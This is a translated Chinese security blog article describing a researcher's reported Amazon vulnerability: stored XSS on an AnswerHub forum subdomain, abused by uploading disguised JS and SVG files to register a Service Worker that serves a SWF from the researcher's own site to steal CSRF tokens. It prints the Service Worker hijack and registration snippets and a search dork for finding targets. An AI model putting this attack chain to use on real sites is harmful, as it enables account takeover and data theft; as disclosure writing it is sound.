當前位置:
首頁 > 新聞 > 給亞馬遜挖洞=義務勞動?看白帽子怎麼玩壞它

給亞馬遜挖洞=義務勞動?看白帽子怎麼玩壞它

介紹

眾所周知,亞馬遜是世界上最大的電子商務網站,擁有的員工數目超過34萬。對於這麼龐大的一個公司來說,網路環境的安全性至關重要,但是亞馬遜卻表示你為它提交漏洞是無償的。這意味著你為他提交漏洞,使它的產品變得更加安全,但是你卻得不到任何東西,就連一個簡單的logo T恤也沒有!

所以我不願意在挖洞這件事上浪費太多的時間,而是把大部分精力放在了寫完整PoC以及滲透測試報告上面。當然這次的漏洞不是一個理論方面的漏洞,的的確確是一個服務方面的漏洞。

我發現Amazon使用了同一個第三方程序(AnswerHub),因為亞馬遜給出的crossdomain.xml是非常多的,於是我有一個大膽的想法。如果我找到了能夠上傳SWF文件的Amazon子域名,那麼我就可以從主域中盜取數據。不過有一點是他不允許上傳任何flash內容。現在將講述一下最有趣的部分,結束無聊的介紹吧~

技術細節

因為文章標題很吸引人,並且大多數人讀這篇文章是想了解具體的技術,而不是聽我講故事吧。那麼我就直接進入整體,講講一些技術問題吧。

一開始我使用google尋找一些使用AnserHub服務的大公司:

inurl:/questions/ask.html inurl:https://

這樣一搜索,我發現很多大公司都使用了這一第三方服務,其中包括亞馬遜,隨之,我想到了它網站的crossdomain.xml,於是我就進行了嘗試。

這是亞馬遜網站的crossdomain.xml:

進一步思考

我並沒有在SWF文件上傳中得到任何進展,於是陷入了思考,在思考的過程中,我發現我已經可以執行存儲型xss攻擊。靈機一現,想到了一個很不錯的電子,如果我上傳SVG文件以及JS文件,進而觸發這一個域中的Service Worker不就完美了。

讓我給你解釋一下什麼是Service Worker API(GOOGLE Chrome):

service worker是在你瀏覽器後台運行的腳本,它是和網頁分開運行的,為不需要網頁或者用戶交互的功能打開了大門。

目前,它已經包括了推送通知以及後台同步等功能。在未來service workers會支持周期性的執行任務等其他功能。

本教程會討論的核心功能是攔截和處理網路請求的能力,包括以編程方式管理相應緩存。這一API的產生讓人感到非常興奮,它可以允許你離線體驗,並且讓開發者完全控制瀏覽器體驗。

你是不是什麼都沒讀懂?巧了我也是,所以我會進一步解釋這一東西。

如果你想更近一步了解Service Worker,我強烈推薦你閱讀:https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API

,OK,我們來了解一下攻擊原理以及每個文件的代碼吧:

1.AS代碼:對amazon發送HTTPS請求,並且接受返回的頁面代碼,進而找到csrftoken。以下是我寫的代碼:

我將這一文件部署在了我的網站上。它會在之後攻擊中用到。我將它命名為myexp.as,隨之我使用SDK將這一文件生成SWF版本的代碼。我同樣使用php腳本從AS代碼中產生SWF文件。

2.下面的JS文件會在網站中被認為是一個SW文件。並且可以攔截流量,在此目錄生成SWF文件。

var url = "https://ahussam.me/myexp.swf"

onfetch = (e) => {

e.respondWith(fetch(url);

}

這一代碼會在service worker當前路徑安裝SWF文件,這一文件會從主web站點盜取CSRFrokens。

因為每次上傳文件名都會改變,第一次上傳這一文件之後會得到一個新文件名。因為上傳過程中客戶端會驗證我們的後綴名,於是我將它重命名sw.txt。當我上傳上去之後這一文件被重新命名為4837-sw.txt.下圖是HTTP請求包:

3-使用xml和JS來檢測Service Worker的SVG文件的html頁面。下面是JS腳本:

if ( serviceWorker in navigator) {

// 4837-sw.txt is the previous file.

navigator.serviceWorker.register( 4837-sw.txt ).then(_=>location=1337);

}

就像上一步做的,修改文件後綴名,以及content-type。下方是http請求包內容:

這是我使用的PoC:https://gamedev.amazon.com/forums/storage/attachments/4937-svg.txt

第一次攻擊的時候,並沒有成功(因為當前環境是http,而service worker只是在https中工作。如果當前環境不是https,你可以對內容進行編碼,進而執行函數)。但是之後經過一些調試就成功了。

我將這一問題報告給了亞馬遜的安全部門,不過因為我的報告太長,他們並沒有重現這一漏洞,而且安全部門還刪除了我的PoC,拒絕了我的報告。

經過了幾個月的等待,他們並沒有回復我的消息,我發現這bug已經修復,所以我寫了一個很長的消息告訴他們,我真的很討厭他們處理報告的態度。但是他們設置的是自動回復,真的很不尊重人!過了一段時間之後我收到一封郵件:

Hi Abdullah,對於未能及時回復您,我們感到非常抱歉,目前安全團隊已經修復了這一問題。我代表他們向您發現這一漏洞表示感謝。

目前我們還沒有漏洞獎勵計劃,但是我理解您希望能獲得一些漏洞獎勵以及回饋。我想我們會繼續改進響應流程,採納您的建議。

我們期待與您有更加深入的合作,保護AWS客戶。

最好的祝福。

XXXXXXX XXX。

AWS Security

https://aws.amazon.com/security

結論

我現在已經可以得到csrf token,所以我可以修改用戶的電話號碼,這可能導致用戶的賬戶被盜取。不僅是CSRF,而且還會出現信息泄漏,地址泄漏等等。

[本文為翻譯文章,嘶吼翻譯但並不代表認同其技術外觀點。]


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

專治複製粘貼癌症患者的Pastejacking
凱悅酒店再次泄露用戶數據,中國區域酒店受傷最深
Authenticode簽名偽造——針對文件類型的簽名偽造
U2F設備安全測試
Equifax又出事了,網站用戶會被重定向到虛假的Flash更新網站

TAG:嘶吼RoarTalk |